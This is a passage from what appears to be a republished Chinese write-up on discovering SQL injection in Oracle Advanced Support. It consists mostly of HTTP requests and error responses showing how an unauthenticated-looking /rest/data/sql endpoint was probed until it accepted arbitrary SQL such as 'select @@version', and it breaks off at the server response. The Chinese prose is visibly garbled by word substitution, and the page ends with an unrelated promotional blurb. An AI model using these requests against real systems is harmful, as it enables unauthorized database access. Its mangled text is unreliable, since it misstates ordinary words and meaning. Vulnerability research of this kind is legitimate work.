Oracle Advanced Support系统SQL注入漏洞挖掘经验分享

HTTP Request:

POST /rest/data/sql HTTP/1.1

Host: host

Connection: close

Accept: application/json;charset=UTF-8

Accept-Encoding: gzip, deflate, sdch

Accept-Language: en-US,en;q=0.8

Content-Type: application/json

Content-Length: 0

{}

HTTP Response:

HTTP/1.1 500 Internal Server Error

Content-Type: text/html

Content-Length: 71

Connection: close

A system error has occurred: Column 'SQL_NAME' cannot be null [X64Q53Q]

HTTP Request: 
POST /rest/data/sql HTTP/1.1 
Host: host 
Connection: close 
Accept-Encoding: gzip, deflate, sdch 
Accept-Language: en-US,en;q=0.8 
Content-Length: 16 
Content-Type: application/json;charset=UTF-8 
{"test":1} 
HTTP Response: 
HTTP/1.1 400 Bad Request  
Content-Type: text/plain 
Content-Length: 365 
Connection: close 
Unrecognized field "test" (class com.oracle.acs.gateway.model.NamedSQL), not marked as ignorable (6 known properties: "privileges", "id", "paramList", "name", "sql", "dataSourceJNDI"])  
&nbsp;at [Source: org.glassfish.jersey.message.internal.EntityInputStream@1c2f9d9d; line: 1, column: 14] (through reference chain: com.oracle.acs.gateway.model.NamedSQL["SQL_NAME"])

再一次不料外的获得了一个关于未知“test”字段的bad request，然则如不雅你留意的话，这个缺点的信息给我们返回了一些有效的属性。感激 Oracle师长教师的办事!这些属性也同样出现了大年夜getNamedSqlList发出请求获得的返回中。我应用getNamedSqlList请求的返回中个中的一个值赋给dataSourceJNDI属性。

HTTP Request: 
POST /rest/data/sql HTTP/1.1 
Host: host 
Connection: close 
Accept-Encoding: gzip, deflate, sdch 
Accept-Language: en-US,en;q=0.8 
Content-Length: 101 
Content-Type: application/json;charset=UTF-8 
{ 
    "name": "test", 
    "sql":"select @@version", 
    "dataSourceJNDI":"jdbc/portal" 
}

这看起来是一个很好的测试请求，我们来见证一下他是否有效。

HTTP Response: 
HTTP/1.1 500 Internal Server Error  
Content-Type: text/plain 
Content-Length: 200 
Connection: close 	
			 4/6   首页 上一页 2 3 4 5 6 下一页 尾页	
			

　　推荐阅读
　　解读大数据行业在2017年的新发展
跟着科技的进步，大年夜数据大年夜科学前沿逐渐深刻到各行业。2017年中国的大年夜数据行业有什么新动态?大年夜数据行颐魅整体市场范围若何?大年夜数据行业前景若何?若何助力企业成长?今日的比格数据，我们来一路解读>>>详细阅读


本文标题：Oracle Advanced Support系统SQL注入漏洞挖掘经验分享
地址：http://www.17bianji.com/lsqh/37236.html
 1/2    1